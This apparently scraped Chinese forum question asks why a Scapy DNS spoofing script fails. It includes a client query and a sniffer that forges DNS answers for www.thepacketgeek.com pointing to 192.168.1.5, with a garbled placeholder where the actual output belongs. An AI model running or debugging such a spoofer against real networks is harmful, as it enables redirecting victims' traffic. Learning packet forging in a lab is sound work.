我试图用Scapy编写DNS欺骗的代码。一切正常,除了我从DNS服务器得到错误的响应。我应该得到这样的回应:
DNS Ans "198.71.55.197"
但我有
^{pr2}$以下是我的客户代码:
from scapy.all import DNS, DNSQR, IP, sr1, UDP
dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
这是我的DNS欺骗服务器代码:
from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"
def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):
if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))
send(spf_res, verbose=0)
return "spoofed request sent :" +packet[IP].src
else:
return "not me"
sniff(filter="udp", prn=packetsniff)
我做错什么了?在
目前没有回答
相关问题 更多 >
编程相关推荐